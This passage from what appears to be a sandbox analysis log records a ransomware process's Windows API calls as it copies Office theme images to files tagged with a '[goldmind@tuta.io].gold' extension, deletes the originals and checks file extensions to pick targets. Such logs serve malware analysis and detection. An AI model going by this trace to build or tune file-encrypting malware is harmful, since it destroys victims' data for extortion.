hTemplateFile=0x0) returned 0x190 [0043.266] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.266] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.268] GetLastError () returned 0x0 [0043.268] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x137f, lpOverlapped=0x0) returned 1 [0043.269] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0043.270] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.270] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.270] SetEndOfFile (hFile=0x188) returned 1 [0043.270] CloseHandle (hObject=0x188) returned 1 [0043.270] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.270] SetEndOfFile (hFile=0x190) returned 1 [0043.271] CloseHandle (hObject=0x190) returned 1 [0043.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.271] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0043.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.271] lstrlenW (lpString=".doc") returned 4 [0043.271] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.271] lstrlenW (lpString=".docx") returned 5 [0043.271] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.272] lstrlenW (lpString=".pdf") returned 4 [0043.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString=".xls") returned 4 [0043.272] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString=".xlsx") returned 5 [0043.272] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.272] lstrlenW (lpString=".ppt") returned 4 [0043.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.272] lstrlenW (lpString=".zip") returned 4 [0043.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString=".rar") returned 4 [0043.272] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString=".bz2") returned 4 [0043.272] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.272] lstrlenW (lpString=".7z") returned 3 [0043.272] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.272] lstrlenW (lpString=".dbf") returned 4 [0043.272] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.272] lstrlenW (lpString=".1cd") returned 4 [0043.272] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.272] lstrlenW (lpString=".jpg") returned 4 [0043.272] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.272] lstrlenW (lpString=".doc") returned 4 [0043.272] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.272] lstrlenW (lpString=".docx") returned 5 [0043.272] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.272] lstrlenW (lpString=".pdf") returned 4 [0043.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString=".xls") returned 4 [0043.272] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString=".xlsx") returned 5 [0043.272] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.272] lstrlenW (lpString=".ppt") returned 4 [0043.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.272] lstrlenW (lpString=".zip") returned 4 [0043.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.272] lstrlenW (lpString=".rar") returned 4 [0043.273] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.273] lstrlenW (lpString=".bz2") returned 4 [0043.273] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.273] lstrlenW (lpString=".7z") returned 3 [0043.273] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.273] lstrlenW (lpString=".dbf") returned 4 [0043.273] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.273] lstrlenW (lpString=".1cd") returned 4 [0043.273] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0043.273] lstrlenW (lpString=".jpg") returned 4 [0043.273] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.273] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0043.273] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.273] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=44302) returned 1 [0043.273] CloseHandle (hObject=0x190) returned 1 [0043.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0043.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.274] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.274] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.274] GetLastError () returned 0x0 [0043.274] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0043.276] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0043.277] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.277] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.277] SetEndOfFile (hFile=0x188) returned 1 [0043.278] CloseHandle (hObject=0x188) returned 1 [0043.278] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.278] SetEndOfFile (hFile=0x190) returned 1 [0043.278] CloseHandle (hObject=0x190) returned 1 [0043.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.279] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0043.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.279] lstrlenW (lpString=".doc") returned 4 [0043.279] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.279] lstrlenW (lpString=".docx") returned 5 [0043.279] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.279] lstrlenW (lpString=".pdf") returned 4 [0043.279] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.279] lstrlenW (lpString=".xls") returned 4 [0043.279] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.279] lstrlenW (lpString=".xlsx") returned 5 [0043.279] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.279] lstrlenW (lpString=".ppt") returned 4 [0043.279] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.279] lstrlenW (lpString=".zip") returned 4 [0043.279] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.279] lstrlenW (lpString=".rar") returned 4 [0043.279] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.279] lstrlenW (lpString=".bz2") returned 4 [0043.279] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.279] lstrlenW (lpString=".7z") returned 3 [0043.279] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.279] lstrlenW (lpString=".dbf") returned 4 [0043.279] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.279] lstrlenW (lpString=".1cd") returned 4 [0043.279] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.280] lstrlenW (lpString=".jpg") returned 4 [0043.280] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.280] lstrlenW (lpString=".doc") returned 4 [0043.280] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.280] lstrlenW (lpString=".docx") returned 5 [0043.280] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.280] lstrlenW (lpString=".pdf") returned 4 [0043.280] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.280] lstrlenW (lpString=".xls") returned 4 [0043.280] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.280] lstrlenW (lpString=".xlsx") returned 5 [0043.280] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.280] lstrlenW (lpString=".ppt") returned 4 [0043.280] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.280] lstrlenW (lpString=".zip") returned 4 [0043.280] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.280] lstrlenW (lpString=".rar") returned 4 [0043.280] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.280] lstrlenW (lpString=".bz2") returned 4 [0043.280] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.280] lstrlenW (lpString=".7z") returned 3 [0043.280] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.280] lstrlenW (lpString=".dbf") returned 4 [0043.280] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.280] lstrlenW (lpString=".1cd") returned 4 [0043.280] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0043.280] lstrlenW (lpString=".jpg") returned 4 [0043.280] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.280] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0043.280] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.281] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2668) returned 1 [0043.281] CloseHandle (hObject=0x190) returned 1 [0043.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 0x20 [0043.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.281] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.281] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.283] GetLastError () returned 0x0 [0043.283] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0043.284] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0043.285] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.285] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.285] SetEndOfFile (hFile=0x188) returned 1 [0043.285] CloseHandle (hObject=0x188) returned 1 [0043.285] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.285] SetEndOfFile (hFile=0x190) returned 1 [0043.286] CloseHandle (hObject=0x190) returned 1 [0043.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.286] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0043.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.286] lstrlenW (lpString=".doc") returned 4 [0043.286] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.286] lstrlenW (lpString=".docx") returned 5 [0043.286] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.286] lstrlenW (lpString=".pdf") returned 4 [0043.286] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.286] lstrlenW (lpString=".xls") returned 4 [0043.286] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.286] lstrlenW (lpString=".xlsx") returned 5 [0043.286] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.286] lstrlenW (lpString=".ppt") returned 4 [0043.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.286] lstrlenW (lpString=".zip") returned 4 [0043.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.286] lstrlenW (lpString=".rar") returned 4 [0043.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.286] lstrlenW (lpString=".bz2") returned 4 [0043.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.287] lstrlenW (lpString=".7z") returned 3 [0043.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".dbf") returned 4 [0043.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".1cd") returned 4 [0043.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".jpg") returned 4 [0043.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".doc") returned 4 [0043.287] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.287] lstrlenW (lpString=".docx") returned 5 [0043.287] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.287] lstrlenW (lpString=".pdf") returned 4 [0043.287] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.287] lstrlenW (lpString=".xls") returned 4 [0043.287] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.287] lstrlenW (lpString=".xlsx") returned 5 [0043.287] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.287] lstrlenW (lpString=".ppt") returned 4 [0043.287] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".zip") returned 4 [0043.287] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.287] lstrlenW (lpString=".rar") returned 4 [0043.287] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.287] lstrlenW (lpString=".bz2") returned 4 [0043.287] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.287] lstrlenW (lpString=".7z") returned 3 [0043.287] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".dbf") returned 4 [0043.287] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".1cd") returned 4 [0043.287] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0043.287] lstrlenW (lpString=".jpg") returned 4 [0043.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.288] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0043.288] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.288] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=42453) returned 1 [0043.288] CloseHandle (hObject=0x190) returned 1 [0043.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0043.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 